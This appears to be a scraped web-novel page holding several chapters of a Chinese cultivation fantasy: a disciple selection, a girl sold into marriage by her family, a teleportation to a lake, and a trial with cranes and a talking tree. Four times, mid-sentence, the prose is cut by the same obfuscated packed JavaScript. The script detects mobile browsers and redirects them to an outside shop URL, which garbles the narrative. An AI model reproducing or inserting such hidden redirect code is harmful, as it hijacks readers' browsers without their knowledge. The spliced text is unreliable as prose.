不等他说完,那个师弟已经慌忙过来要捂住他的嘴,“别别,您大人有大量高抬贵手,我还是领罚吧,千万别告诉他!” 在他手还没碰到安如风之前,一道红色光芒已经急速将他缠住,手停在安如风嘴唇半尺不到的距离。 小师弟进退不得,张牙舞爪要他解开。 安如风冷扫他一眼:“三十戒鞭。” 说着,他对客栈众人再次拱手:“我等须得前往下一个客栈巡查告诫,请诸位道友在明日到来之前切莫出客栈,灵音宗已经在杳鹤城以及每间客栈都加固了防护阵法,切记。” 众人齐齐拱手回礼:“多谢安师兄。” 安如风一笑,率领身后七八个弟子出了蓬莱客栈。 许田田这时道:“不知道某些人听到了吗,安师兄说严禁闹事,你们那些个臭嘴就快闭上吧。” 周炎冷嘲热讽:“某些人明日能不能通过大选进入灵音宗还未可知,如今早早唤别人安师兄,到时落选岂不是尴尬?” “你还是多担心担心自己吧,咸吃萝卜淡操心,狗拿耗子多管闲事,嘁!” 许田田说着,招呼聂更阑上楼。 聂云斟面无表情地看着两人离去,神色阴晴不定。 热闹的杳鹤城在半日内变得清冷肃萧,只余白烟平地而起,在黑夜降临之前,笼罩了整座杳鹤城。 翌日,旭日东升之际,各个客栈收到了来自灵音宗执事堂的通知: 杳鹤城及灵音宗四周再无白衣人踪迹,众人可放心前往参加弟子大选。 许田田高高兴兴洗漱完毕,直接去了隔壁敲门找聂更阑,两人一块出门,随着人流三五成群地往灵音宗山脚的广场而去。 为表诚意,会御剑的都跟着所有人一同步行,一群人浩浩荡荡步行十里路终于到达目的地。 广场上早已人满为患。 许田田看着黑压压的人头,忍不住动手开始数,数来数去还是放弃了,“怎么看这里都有超过六千以上的人吧,果然灵音宗不愧是四大宗门之首哇。” 旁边有人插话,“可不是吗,想当年临雾宗还是龙头老大,但自从出了那档子事儿,灵音宗就把老大给比下去喽。” 许田田熟稔地和旁边的人聊起来:“对头,不过即便灵音宗已经成为宗门之首,但由于竞争太过激烈,还是有不少人选择临雾宗,其他的门派更别提了,选择的人也不少。” 插话的人又道:“可不是,想进灵音宗的都是拼着一丝赌博的成分来的,就赌自己能通过大选比试,我听说西南几个世家大族邢家和徐家没选灵音宗,反而跑去临雾宗了。” 聂更阑暗想,邢简和徐少去了临雾宗,那么二叔的那一双儿女又去了哪个宗门?这倒是不得而知了。 “嗐,这灵音宗大选五年一次,要是进去了对修炼一道大有裨益,谁不愿意赌一把呢,去临雾宗的那都是有钱的子弟,不缺天材地宝的陪衬修炼,嘿嘿嘿。” 聂更阑忍不住问:“灵音宗弟子大选每年通过考验的人有多少?” 许田田朝他挤眉弄眼,“还以为你对这类话题不感兴趣呢,咳咳,据我所知,每次参加都有三四千人,但能通过考验的只有那么寥寥数百人。” “很难吗么?都是什么类型的比试?”聂更阑原本并不担心比试,但听到许田田等人的讨论,也不禁开始有些担心了。 有个马尾束冠的少年大大咧咧道:“不外乎都是些什么考验意志和毅力的比试,宗门就是想看看咱们求道问仙的决定到底有多少,心志坚定与否之类的,但是具体比什么,嗯……似乎每年都不一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631756|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “废话,每次都一样那还考什么,题目不早就透露光光啦,前人栽树后人乘凉,有什么意思?”许田田哼道。 “这位道友所言极是啊,啊哈哈哈……” 广场上人头攒动,几人的谈话被人听到,忽然从那边费劲地钻进来一个穿粗布麻衣的少年,“各位道友需要题吗?虽然今年的题目咱不知道,但是我手上有历年比试题目,保管诸位看了能对今年的比试心里有底不至于到时太慌张,诸位看如何?优惠大酬宾,五块下品灵石即可领取一份题目,很划算哦!” 聂更阑和许田田等人面面相觑。 方才插话的少年及几个同伴纷纷举手,“哎,给我来一份儿,我要我要!” 粗布麻衣少年举着一沓纸瞬间被围了个水泄不通,大叫道:“不要抢,先付钱,别忘了付钱啊,五块下品灵石!” 聂更阑看了许田田几眼:“你是不是很想要?我给你买。” 他从储物袋里掏出灵石要往那边走,许田田拦住他:“哎嘿,其实我确实想知道历届的题目是什么,难道你不想知道么?” 聂更阑和他对视几息,摇摇头。 “无论题目是什么,我都必须进灵音宗。”他已经无路可退。 “知道了,知道了,”许田田下意识要挽住聂更阑胳膊,手停到半空及时收回去,拍拍他肩头,“但是知己知彼百战百胜嘛,走走,买一份瞧瞧去。” 聂更阑颔首,和他挤进人群把灵石递给少年,拿了一份题目出来。 两人和方才那拨人凑在一块各自看着题目,“上一届,比试的题目是……给一只鸵鸟精孵化蛋?谁孵化得多谁获胜几率越高?” “噗……” “这是什么题目,孵化蛋?这比试的目的何在,这蛋应当有一定关窍,想必很难孵化?” “哎,再看上上届的,帮助小花妖找到迷宫出路,给她的指甲涂上风染花的汁液?嘶,这给花妖带路和染指甲……这任务也够新鲜的。” “哈哈哈,还有给小老头儿树精捉虫梳头的,捉虱子吗?” 许田田被逗得捧腹大笑,手里的纸一挥,不小心打到了旁边路过的人,“哎哟,对不住哈哈哈,逗死我了……” 当他看清打到的是谁后,脸一板,哼了声:“原来是那两个仗势欺人的混账的跟班儿啊。” 汪淼淼瞥了眼许田田,迅速低下头,一声不吭迅速躲到聂云斟和周炎身后去了。 周炎眉毛一横:“你说谁仗势欺人!” “嘿,不光仗势欺人,年纪轻轻耳朵还不灵光,真是够可怜的,啧啧啧。”许田田语气极尽讥讽,挤眉弄眼朝周炎几人做鬼脸。 周炎气得鼻子都要歪了:“混账东西!敢对我们阴阳怪气,看我不教训你一顿我就不姓周——” 眼看周炎要动手,那边人群忽然传来一阵尖锐的哭求声。 “你一个女儿家家修什么仙?我们家千辛万苦耗尽家财送你弟弟到这儿来挣一个求仙问道的资格,不是让你到这儿来瞎凑热闹的!” 14. 白影与黑雾 “盼娣,咱们家里能卖的东西都卖了,你忍心看着我和你娘露宿街头和饿死吗?镇上的那个王员外一直属意你,给的聘礼也不少,你就嫁了吧,咱们家马上吃不上饭了,还修什么仙呐……” 广场中央,一对包着头巾的乡下夫妇苦口婆心劝着一个跪地的少女。 少女十五六岁的年纪,面容清秀,看得出平时在家中干活颇多,手上茧子遍布,嘴唇也有皴裂,但眼神却格外炽热坚毅,那双有茧子和细小伤口的手紧握成拳,听到父母的劝阻,愤而振振有词。 “爹,娘,那位道长说过,我比弟弟更有资质求道问仙,弟弟资质太差,为什么不让我参加大选呢?万一我通过了对家里难道不是好事?” 那个妇人急忙过来打了几下少女的胳膊,“瞎说什么,你要是通过了我们家怎么拿到王员外家的聘金?谁给你弟弟挣娶媳妇的钱?” 汉子也苦口婆心地劝女儿:“是啊盼娣,你娘她还想再生两个弟弟,你要是走了家里怎么办,听话啊,还是让你弟弟参加比试,过了也能给家里光宗耀祖,你参加也没什么用……” 名叫盼娣的少女一昂头,清澈的双目充满激愤,一声比一声高:“弟弟待在家也能挣钱补贴家用,我资质高凭什么不能让我参加比试!为什么就不能让我和弟弟都参加?!” 妇人一听恼得推了一把盼娣,直接把少女推倒在地,“你这不孝逆女,我和你爹还没老得走不动路你就开始造孽,不顾一家子的生计,你你你,你是要气死我啊,你个没良心的小蹄子,你是要我们许家亡啊!” 说着,妇人索性往地上一坐,开始嚎啕大哭,在地上打滚撒泼。 许盼娣一看亲娘这副眼泪滚落的模样,眼眶迅速红了,但还是紧咬嘴唇,不吭一声。 许汉子则是止不住唉声叹气。 而那个被爹娘变卖家里所有值钱东西送来参加比试的少年此时从包袱里掏出一纸契书,得意洋洋摔在姐姐身上,“你已经被卖给王员外做小妾了,聘金可是有十两银子,这十两银子可够家里吃穿好几年呢!姐姐,你要是有点良心就和爹娘回去,否则他们就要被乱棍打死了!” 许盼娣目光一震,不敢置信地看向那张契书。 弟弟:“我劝你仔细斟酌,你要是害得爹娘死在王员外打手的棍棒下,你就是杀人凶犯,沦为全村,不,全镇的笑柄,为人人唾弃和不齿!” 许盼娣惊得跌坐在地,手无力垂落到地面,嘴里喃喃,“我明明说过我不愿意嫁给王员外,你们为什么,为什么要擅自替我做主!” “呸,王员外能看得上你是你的福气,你能值十两银子就偷着乐吧,王二狗那妹子嫁到邻村也才有一两银子的彩礼呢!”少年恶狠狠地瞪着姐姐,“资质差不差口说无凭,参加了才知道,你一个妇人家还是老老实实回村里嫁给王员外,这样才是你的功德圆满!” 妇人和许汉子这会儿也过来拉女儿了,“盼娣啊,求仙问道有你弟弟,你就跟我们回去吧,听话好不好?家里都指着你过日子,王员外能保你一辈子衣食无忧,咱们家也能跟着沾光不受罪,皆大欢喜的事儿你就懂点事,你就可怜可怜我们吧盼娣,求求你了。” 许盼娣震惊又愤怒,久久不能出声,却也瘫坐在地不愿起身。 广场上围观的人早已议论多时。 许田田和聂更阑耳语:“这姑娘可真惨,被整个家拖累,这什么弟弟还有爹娘的一看就是吸血虫,把这姑娘累得够呛,以后有她苦受的。” 少年这时忽然厉喝出声,“许盼娣,难道你真想看到爹娘死在王员外乱棍之下?他院子里还有几条狗,你想爹娘被咬得血肉模糊扔在村口老树下被野兽叼走吗?!” 许盼娣吓得一个激灵,瞬间回神,手上力道一松,当即抠不住地面,被妇人和汉子轻而易举从地上拉起来。 妇人见状欢喜地擦眼泪,“盼娣,娘就知道你是个心善的,咱们家你弟弟修仙,你嫁给王员外,你两个都是有出息的,咱们家以后会越来越好,过上好日子,盼娣,跟娘和爹一块回家吧。” 许盼娣呆愣愣地任由妇人和汉子拉着,人群中立刻让出一条道,许盼娣被拖着拽着穿过人群走了。 四周的人都在低语:“这姑娘太可怜了,唉,太可怜了……” 聂更阑眉心紧皱,嘴唇始抿成一条线,脑海里反复回放刚才那一幕。那个姑娘明明已经千辛万苦来到这里,求仙问道她有没有资格马上就能见分晓,却被家人生拉硬拽离开。 就因为她是女子,是盼娣,就应该承担家里所有的重担,没资格活得随心随性,不能掌控自己的命运么? 聂更阑某中充斥阴霾,蓦地转身拨开人群朝那一家三口追上去。 人群中,有姿容不凡的一少女一少年比肩而立,见状也要追赶。 许田田看到同伴追过去,连忙拨开人群,“聂道友,等等我!哎,你怎么像滑鱼似的溜得这么快?” 因为人群躁动,许田田和那一少年少女都被挤在人群里寸步难行,压根不比一路怒气冲冲把人推搡开的聂更阑速度快。 很快他已经挤出人群边缘,看到刚才的少女许盼娣被妇人和汉子一左一右搀扶走得极快,三个人已经往广场的台阶下走去。 聂更阑沉着脸从储物袋里捏出两张定身符,这是低阶符篆,无须灵力也能使用,对付普通凡人可使其僵在原地不能动弹两个时辰。 到符篆时效时,许盼娣那时早已经参加完比试了。 聂更阑一手一张定身符,喝止那三人:“站住!” 许盼娣和爹娘回头,看到一个同年龄的少年目光沉沉盯着他们,不由面面相觑。 聂更阑语调阴恻恻:“这位姑娘资质秉性更适合修炼,速速将她放开,否则别怪我不客气。” 妇人和汉子面面相觑,许盼娣也懵了。 “盼娣,这是你相好的?”妇人问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631757|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许盼娣摇摇头。 许汉子忽然面露凶恶,“小伙子识相的赶紧走,耽误了盼娣的婚事,你想让我们被打死吗!” 聂更阑神色又阴沉了三分,“这位姑娘说过不想嫁给王员外,你们擅自做主替她签了契书,被打死也是你们活该。” “你!你你你,你怎么能说出如此黑心肝的话,盼娣是我们女儿,我们生她养她,有权利决定她的一切,你算个什么鸟东西敢管我们的家事!” 许汉子边说着边撸起衣袖凶神恶煞往聂更阑这边走来。 聂更阑捏紧了定身符后退几步,在那汉子距离自己还有一丈远时骤然甩出符篆,一道微弱的流光射向汉子,下一刻汉子立即如同木偶人般定身在原地,动弹不得。 妇人见状大惊失色,急急奔过来,第二张符篆也随之而来,又是一道流光闪过,妇人也被定了身。 汉子和妇人惊恐不已,“你、你想作甚,你快放开我们!小心我们向这里的仙师告状让你吃不了兜着走!” 聂更阑脸色难看地扫一眼他们,缓缓走到许盼娣面前:“姑娘,你爹娘至少有两个时辰不能动,你安心回去参加比试,如若过了,以后不必再受他们管辖控制。” 许盼娣眼中涌出热泪,方方正正跪下给聂更阑磕了三个头,“恩人,多谢,若我真有幸能进入宗门拜师修炼,来日定涌泉相报恩人的恩情。” “不必,我只是看不下去罢了。” 聂更阑朝许盼娣微微点头后,转身重新往广场走去。 他也就没看到,身后的许盼娣唇边的笑容扩散得越来越大。 才走出没几步,聂更阑四周乍然爆发出一阵白色强光,紧跟着,中心一阵强大吸力把人拖拽进入漩涡,消失在那白芒阵法之中。 他甚至没来得及发出一声呼救。 而广场上的人似乎没看到这边的情形,即便是一直在奋力挤出人群的许田田。 * 聂更阑仿佛被挤压在强大的气流旋涡中,器脏和五官皆传来火辣辣的痛感,眼前有五光十色的色彩飞速掠过,但他一点儿也看不清那些景象到底是什么。 就在这时,他察觉手臂被一股浓厚的黑雾缠绕而上,并且黑雾中似有尖利啸声传来。 聂更阑心脏骤然被攫紧,仿佛被扼住咽喉不能呼吸,但不过一息之间,就有另一道白色影子咻地出现,一道强光闪过。 下一瞬,聂更阑被扼住的喉管被松开,大口大口开始呼吸,胸膛剧烈起伏。 哗啦。 一团阵法包裹的白光从湖面冒出,聂更阑被包裹其中抛扔在湖岸边的地面上,身体滚了几圈才堪堪停稳。 顾不得五脏六腑残留下来的挤压和窒息感,一个荒唐的念头一闪而过。 刚才在那个可怕的挤压人喘不过气来的气流里,那团黑影似乎要加害于他,而那团白影则解救了自己。 那个人,是众人口中的魔头——白衣人么? 15. 红晶树 聂更阑脑海中闪过那次在聂家庄后山被看不清面容的白影挟持的场景——居然已经恍如隔世了。 可,白衣人不是为名门正派所不齿的大魔头,怎么敢在灵音宗地界出没? 聂更阑思绪混杂,被摔得头昏脑涨,双手勉力支撑爬起来时才发现广场已经消失不见,四周取而代之是广阔澄澈的湖面,万里无云的蓝空倒映其中,湖水如同一颗湛蓝的宝石镶嵌在平地。 在岸边,伫立着一棵高大茂盛、叶子漂亮火红的红晶树,它的枝条如同柳条那般长而绵软,袅袅垂在湛蓝的湖面,流光四溢。 四周则是五颜六色的各色灵植,散发着萤火一般星星点点的光芒,有的甚至比人的个头还高,随风摆动时仿佛流光轻舞。 聂更阑看呆了。 直到缓了很久他才如梦初醒,猛地眨眨眼睛开始打量四周。 这里没有一个人影,许盼娣和那对夫妇不在,也不见广场上的任何道友。 他是被什么仙门术法缠住,来到了另一个地方? 时间在流逝。弟子大选就在眼前,再赶不回去恐怕就错过了这五年一次的选拔。 但再着急也无济于事,聂更阑压根不清楚此处是哪里,该怎么样才能回到刚才的广场上。 他深呼吸一口气,试图往前走找出路。 不料在经过那棵高大光彩夺目的树时,一不小心踩到它的根系,忽然听到平地传出一阵愤怒的尖叫。 “大胆小儿,竟敢踩本树的枝干,我看你是找死!” 瞬息件,方才寂静的红晶树仿佛一下子活了过来,整棵树的枝条疯狂抽动摇摆,平静的湖面被枝条拍打出“啪啪啪”的水声,泛起一圈又一圈涟漪。 就在这时,遥远的天边响起一阵尖啸声。 聂更阑手忙脚乱躲避发动袭击的红晶树枝条,但又有更多密集的枝条形成一个网状朝他扑过来。 危急之下他朝空中看了眼,发现尖啸的是只仙鹤,仙鹤正往湖的方向飞来,并且转瞬就到了他眼前。 聂更阑惊险地躲过第一轮枝条的攻击,惊愕地看到仙鹤在朝自己扑扇翅膀,“你要我上去?” 仙鹤再次扑扇翅膀,同时脑袋轻轻点了点。 聂更阑没再废话,在第二轮红晶树枝条铺天盖地袭来前,果断爬上仙鹤背部,“走!” 仙鹤平地冲天而起,朝着湖的另一边飞去。 湖面辽阔,湖对岸是宽阔平坦的一片白沙地。红晶树眼睁睁看着聂更阑被仙鹤放在对岸,枝条却远远够不到湖对面,越发狂怒地拍打枝条。 聂更阑被仙鹤放下来时,伸手摸了摸它的脑袋。 仙鹤红色的长喙碰了碰他的手,调转方向准备飞离。 “等等。” 聂更阑伸手拦住它,“仙鹤,请问能否将我回到灵音宗山门前的广场?来日有机会晚辈必定报答大恩。” 也不知大选是否已经开始,他此刻心急如焚,只能将希望寄托在仙鹤身上。 可仙鹤从喉咙里发出咕叽咕叽声,随后,居然摇了摇头,尖啸一声,扑扇翅膀冲天而飞,很快消失在天际。 聂更阑神情逐渐变得凝重。 仙鹤是不愿意带他离开,还是没办法离开这里? 此处究竟距离灵音宗多远,又是谁将他带到这片湖的? 而此时,对岸的那株红晶树依旧在狂怒地大吼大叫,全树躯干的枝条狂怕骤打在湖面,一圈圈波纹急剧荡开。 “小兔崽子,吃我一枝条!有本事给我滚过来!” 聂更阑被吓得连连后退,在确定树精只是发怒无法越过湖面够到自己时才稍稍松一口气。 他向湖对岸扬声叫道:“对不住前辈,方才晚辈无意中踩到您的枝条,向您说一声抱歉。” 红晶树不管不顾,也不听任何解释道歉,“兔崽子,你们这帮兔崽子,竟敢随意踩踏我的尊躯,无法无天,胆大妄为,不知死活!我要把你们卷进我的树干慢慢折磨,再一口一口把你们吃掉!” 树精的枝条如同无数只触手在湖对面张牙舞爪,在清澈的湖面倒映出不计其数的影子,其形可怖,在聂更阑这个初初踏入修真界的少年人心里留下了极为震撼的一幕。 与此同时,遥远的天边再次传来尖啸。 聂更阑一喜。 仙鹤回来了。 这次他一定要好好求仙鹤,或许真的有机会赶在比试开始前回去。 聂更阑脑子里快速组织言语该怎么恳求,一抬头,却被眼前的场景震慑得得瞳孔倏地放大。 湛蓝如宝石的天空,出现的并非一只白鹤,而是密密麻麻、成群结队的仙鹤,正浩浩荡荡往湖的方向飞来。 不过须臾,成千上百的飞鹤已经悬停在聂更阑头顶上方三四丈的地方。 他这才赫然看清,每一只仙鹤背上居然都坐着人,说话声叽叽喳喳好不热闹。 “这是什么地方,怎么把我们带到这儿来了。” “好美啊!这片湖可真漂亮,这里也是灵音宗的地界吗!” “喂喂,这里还有一棵红晶树,还会说话!” 红晶树听到这么多兔崽子像看耍猴儿一样看着自己,越发恼怒张狂,枝条疯狂甩动暴躁不已,但是尚未来得及叫嚣,它忽然所有枝条都静止不动了,仿佛被什么术法凝固了一般。 而不知哪只仙鹤之上,有个激动的声音忽然喊出声:“聂道友!聂更阑!原来你在这儿!” 聂更阑循着声音望去,这才发现许田田居然坐在其中一只仙鹤背上,正兴奋地朝他招手。 他定睛一看,仙鹤背上这些不正是参加弟子大选的众人么? 这时,半空中倏然现形十几个灵音宗弟子服的仙人,飘然落地。 为首的正是之前在蓬莱客栈出现过的安如风,随着他一声“准备落地”令下,仙鹤们整齐划一慢慢降落把所有参选弟子放在了白沙地上。 许田田拨开人群冲到聂更阑跟前,拉着他上下打量,“聂道友你到底去哪了?急得我都快要跪下和安师兄求他把比试时间延后了,” 聂更阑:“我没事,我不知道这是什么地方,也不知道怎么到这里来的,对了,你们又为什么会来这里?” 许田田意识到自己抓着聂更阑的胳膊,赶紧放开,看向那边的安如风,“我们当然是被带到这里来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631758|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参加比试的呀,我告知安师兄你忽然不见踪影,他说我到这儿来就能看到你。” 许田田这会儿像个八哥似的叭叭叭说个不停,“话说你怎么会独自到这儿的,你是被抓来的?” 聂更阑把自己的经历说了,但把遇到的那两团黑雾隐去了不提。 “啊哟,你这是被阵法送到这里来了,你是触发了什么阵法机关吧?哎,假如那个阵法机关能传送人,为什么不直接让我们通过阵法到这里来,而是让我们乘坐仙鹤?”许田田叽叽咕咕自言自语。 聂更阑却问:“什么是阵法?” “阵法你也不知道?罢了罢了,我才记起你真的是个凡……” 许田田话头忽然打住,尴尬地看一眼聂更阑,清了清嗓子,“阵法嘛,顾名思义就是,法术之阵嘛,具体的我也解释不清楚,还得拜师后学习才能通晓,不过据我所示这阵法用途还挺广泛,囚禁镇压,亦或是把人传送到另一个地方,用处多得很,阵法可是很实用的术法呢!” 聂更阑似懂非懂地点了点头。 这时,在一大片人群中,安如风燃起一张扩音符篆,声音忽然扩大了数十倍。 “各位道友,比试马上开始,请各位道友切勿再乱走动,比试马上就要开始,切勿再乱走动!” 所有人便不再走动,待在原地等待比试开始。 聂更阑趁此机会穿过人群找到安抚风,告知了许盼娣被家人阻拦参加比试一事,还问了许盼娣是否已经在参加比试的行列之中。 安如风只是一笑:“聂道友,此事之后会揭晓,你无须担心,有缘之人灵音宗从不会错过。” 聂更阑一听,估摸着盼娣已经在这些参加比试的人群当中,遂放心下来,回到许田田那边。 这时,安如风呼哨一声,天空中再次传来一阵尖啸声。 只见方才大批的仙鹤再次出现,群鹤扑棱翅膀优雅地集体停在所有参选弟子对面的宽阔的白沙地上。 许田田:“这不是我们方才坐过的仙鹤吗,怎么又来了,难道还要去别的地方?” “诸位道友。” 安抚风在扩音符篆的效力下声如洪钟,声音在几千名参选弟子耳边格外清晰。 “本轮比试题目如下。” “请在众多仙鹤中找到自己方才乘坐的那一只,并且与仙鹤配合收集掉落在湖中的红晶叶,搜集到越多红晶叶者排名越高。” 题目一宣布,众人哗然,埋怨声此起彼伏。 许盼娣的弟弟许刚率先叫起来:“这么多仙鹤都长得一模一样,怎么可能找得到原先坐的那只啊!” 附和他的不在少数,“是啊是啊,这怎么找啊?” …… 许田田用胳膊肘捅了捅聂更阑:“哎,从这里开始,比试就是个人的事情了,如果我俩在比试中遇到要互相帮忙,加油啊,争取都进入灵音宗!” 聂更阑点点头,“好。” 与此同时,之前在蓬莱客栈觊觎聂更阑、安如风的师弟朔指着岸边不知何时出现的一座高台,那里已经有了一个巨型沙漏,“沙子漏尽,本轮比试即刻结束,现在我宣布,比试开始!” 16. 仙鹤 安如风手一挥,案台上的沙漏被翻转倒放过来。 许田田交到:“聂更阑,加油啊!”说罢,他和无数参选弟子一同冲入那一大群仙鹤当中。 聂更阑定定站在原地,思考片刻后慢慢步入仙鹤群。 现场一片混乱。 大多数弟子不知所措只能边跑边大叫“方才载我的是哪位仙鹤”,而清醒一些的则尝试翻找储物袋里的法宝,譬如定位符、玲珑八宝球等办法尝试是否可行。一时间,偌大的一片沙地闹哄哄乱作一团。 除了那些仙鹤。 每只仙鹤都井然有序,安安静静待在原地等待上一轮的乘坐者找到自己。 而许田田已经不知钻到哪个角落去了。 聂更阑站在白茫茫的一群仙鹤中,起初时还有些无措。 每只仙鹤比所有人高大,红色长喙时不时啄几下沙地,安静乖顺。 聂更阑一时间想不出应对之法,只能信步在不同的仙鹤之间来回走动,试探地出声呼唤:“仙鹤,仙鹤?” 实际上,大多数人都是这么做的,有人呼唤着“白团子”,也有人叫着“小鹤鹤”,更有甚者,有凡人恭敬地大声呼唤“白毛红嘴神仙大人”,一度引来一阵笑声。 聂更阑叫了不下两百次“仙鹤大人”之后开始口干舌燥,忙不迭从储物袋里拿出一瓶之前在杳鹤城买的甘草露喝下,重新开始呼唤寻找。 仙鹤数量众多如大海捞针,直到目前为止,他并没有看到任何一只疑似他坐过的那只仙鹤。 他开始怀疑仙鹤是否能分辨出每个人的声音。 聂更阑也开始从储物袋里翻找物件。 里面是一些寻宝符、隐身符、以及隐匿气息的符篆,都是些低阶且不需要灵力就能驱使的符篆。这些还是许田田让他买的,说也许在比试时能用到,但买无妨。 聂更阑看了半天也没找出什么有用的东西,而某处已经传来欢呼声,“我找到啦,找到啦,诸位道友我先走一步收集红晶叶去了!” 人群中立时传来一阵阵羡慕的叹息声。 安如风微微一笑,指尖发出一道光芒朝红晶树激射而出,之前忽然静止不动的红晶树再次开始狂甩枝条,“安小子,今天怎么会来了这么多兔崽子,我看你就是故意折磨羞辱我,啊——” 红晶树狂怒地往湖对岸这边延伸枝条,被安如风一道光芒再次打过去,枝条便也在前进不得,只能在那方寸之地活动。 “可恶,可恶!” 众人都被红晶树妖这阵动静吸引,默默地旁观一阵,很快,再次投入到寻找仙鹤当中。 聂更阑深呼吸一口气,瞥向那边案台高高矗立的沙漏,蓝色的砂砾正在飞快地流逝。他提高声音再次一边呼呼仙鹤,一边快速地再次搜寻起储物袋里的东西。 匿息符、隐身符、气息伪装符…… 等等。 聂更阑情急之中闪过一个想法,既然不确定仙鹤是否能辨别自己的声音,那么气味呢? 他从储物袋里拿出一张伪装气息的符篆,将之前在某处摊贩前捡到的一只小松兽的毛放在符篆上。符篆亮起金芒,将那根毛没入符篆当中。 接着,他把符篆往自己身上一拍,随后在他身上同样跟着闪过一道金芒。 聂更阑开始迅速在无数仙鹤之间奔走不停,一边呼唤“仙鹤大人”。 这种伪装气息的符篆,一般用于修士想抓捕某种灵兽,因此用这种符篆放出灵兽的气息,诱惑对方放松警惕心。 聂更阑才奔走了不到一刻钟,忽然听到那头传来尖啸和灵兽奔走的脚步声。 一只仙鹤正往他的方向奔来,并且很快在他面前停下,企图用红色长喙轻轻碰他的胳膊。 聂更阑惊喜不已,试探地叫道:“仙鹤?仙鹤大人?” 仙鹤低低叽咕一声,红色长喙改为贴到他脸上,小心地蹭了蹭,还冲着他扇了扇翅膀。 这对比第一次仙鹤载聂更阑的态度来说,实在亲热不少。 聂更阑惊喜地摸了摸仙鹤的脑袋,“仙鹤,劳烦载我一程,在那个沙漏漏尽之前,我需要搜集掉落的红晶叶。” “咕叽咕叽。”仙鹤的长喙再次蹭了蹭他的发髻,然后缓缓矮下身躯。 聂更阑弯腰拱手:“多谢!” 在他坐到仙鹤背上时,恰好许田田从那边狂速奔过来。满脸喜色:“聂更阑,好你个家伙怎么这么厉害,怎么做到的!” 聂更阑让他伸过耳朵,悄悄道出自己的办法。 许田田:“你真聪明!我明白了!这就去找,你先去搜集红晶叶!” “好。”聂更阑轻轻拍了拍仙鹤,随即被载着飞向湖面。 此时已经有大约百来人已经找到了属于自己的仙鹤,正在湖面上穿梭如织,在仙鹤爪子碰到水面时,上面的人迅速捞起湖面的红晶叶放入宗门分发的储物袋里。 聂更阑也驱策仙鹤开始搜集红晶叶。大约摸一盏茶功夫后,许田田也跟着飞上来了,还兴奋地朝聂更阑挥手。 聂更阑:“你怎么这么久才上来?” “一言难尽,先把这关过了之后细说!”许田田也冲着他大喊。 湖面掉落的红晶叶洋洋洒洒,尤其是靠近红晶树的水域范围,数量更多。 但红晶树枝条一直在固定区域舞动狂甩,寻常人近不了身,只能在红晶树够不到的地方活动。 许田田这时靠过来冲聂更阑大叫:“我们合作吧!” 不一会儿,许田田指挥仙鹤冲过去挑衅红晶树,趁其火力对准他时,聂更阑趁机靠近捞起一大把红晶叶放入储物袋。 而后两人如法炮制,轮番上去吸引红晶树各自捞叶子,很快红晶树发现两人的小动作后暴躁不已,越发频繁地甩动枝条。 其他弟子发现这个办法后纷纷开始效仿。 “唉哟,这不是聂二少爷嘛,没想到你跟了个小乞丐居然还能倚仗他助你通过比试,啧啧啧,果真是个吃软饭的小白脸儿!” 聂更阑许田田扭头一看,发现聂云斟周炎以及汪淼淼几人也乘着仙鹤在四周飞翔。 嘲讽的人正是周炎, 聂云斟对周炎和汪淼淼喝道:“别浪费时间,你们俩去调虎离山,我先捞叶子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631759|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许田田毫不留情嘲讽回去:“有本事你们就别学我的办法,恬不知耻,又当又立的给你脸了是吧!” 周炎还想和许田田拉扯,但被聂云斟狠狠瞪了一眼,只得作罢。 聂更阑飞到许田田身边对他低语:“趁他们吸引火力,我们去捡漏。” 许田田顿时双眼放光:“好啊!你这招妙,气死他们哈哈哈!” 于是,两人跟在聂云斟几人身后捡便宜,叶子搜集的数量反倒比之前快了许多。 这一举动很快被周炎他们发现,但也无可奈何,因为有不少人也在跟着一同捡便宜。 最后,不知是谁建议轮流吸引红晶树注意力,因此所有人都开始协力合作,比之前的进程又更快了一些。 而湖边案台的巨型沙漏,里面的砂砾也在不知不觉前悄然漏尽。 “咣!” 